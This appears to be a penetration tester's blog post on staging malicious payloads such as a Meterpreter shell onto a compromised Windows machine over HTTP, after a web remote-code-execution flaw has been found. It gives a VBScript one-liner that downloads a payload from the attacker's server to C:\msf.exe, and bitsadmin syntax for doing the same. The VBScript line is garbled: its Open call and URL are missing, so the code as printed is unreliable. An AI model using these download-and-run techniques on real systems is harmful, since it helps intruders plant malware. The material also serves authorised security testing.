Getting Tricky with Windows File Transfers

By Tom Steele ·

During a penetration test, I often run into situations where I need to transfer a file from my attacking machine to a Windows system. The most common of these situations occurs after I have found a remote code execution vulnerability in a Web application. Once a vulnerability that allows code execution has been identified, I will seek to transfer a malicious payload -- such as a Meterpreter shell -- to the vulnerable system. After the file has been transferred, I can execute the payload and get a feature-rich shell that allows me to run commands interactively and take advantage of various post exploitation tools. The question then is how do we transfer files using non-interactive commands? There are two well-known options in TFTP and FTP; however, there are often mitigating security controls that can prevent an attacker from using these techniques, including:

  • TFTP and FTP are often blocked by external firewall rulesets.
  • The Windows FTP client does not support passive FTP; what this means for us is that if there is any type of firewall in place, or the host is behind NAT, we will not be able to complete a file transfer.

Throughout the rest of this post, I will describe two alternative methods for transferring files over HTTP -- a protocol that is often allowed through firewalls, and is very quick and easy to configure.


The first method is one that was recently shown to me by a co-worker and uses VBScripting to transfer files over HTTP. This method should work on any Windows system that has the .NET Framework installed. I have adjusted some code I found here to transfer a payload using a GET request.

Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") : "GET", "", false : objXMLHTTP.send() : Set objADOStream = CreateObject("ADODB.Stream") : objADOStream.Open : objADOStream.Type = 1 : objADOStream.Write objXMLHTTP.ResponseBody : objADOStream.Position = 0 : Set objFSO = Createobject("Scripting.FileSystemObject") : objADOStream.SaveToFile "C:\msf.exe":objADOStream.Close

On our attacking machine, we host the file using a Web server. I typically use Apache and place my payload in /var/www. Next, we use echo to write the above code to a file and then call the file by name, which will transfer our file over HTTP.


Secondly, we have my new personal favorite, bitsadmin. I don’t know why I had never heard of this until recently, since it’s quite useful. Bitsadmin is a built-in tool that allows us to transfer files over HTTP, and from my searching, is available in Windows 7 and Windows Server 2008. This has become my go-to method because it has quite a bit of flexibility, including support for proxies and multiple authentication methods. Just like our setup with the VBS script, we first place our payload in our attacking machine’s Web directory. Next, we use bitsadmin to initiate the file transfer. The syntax is “bitsadmin /rawreturn /transfer job_name source_url full_destination_path”.

For an extensive list of options, I would suggest taking a look at Microsoft's Overview of Bitsadmin.

I am sure there are some other great tricks people have up their sleeves. If you know of any, please describe them in a comment so I can steal it!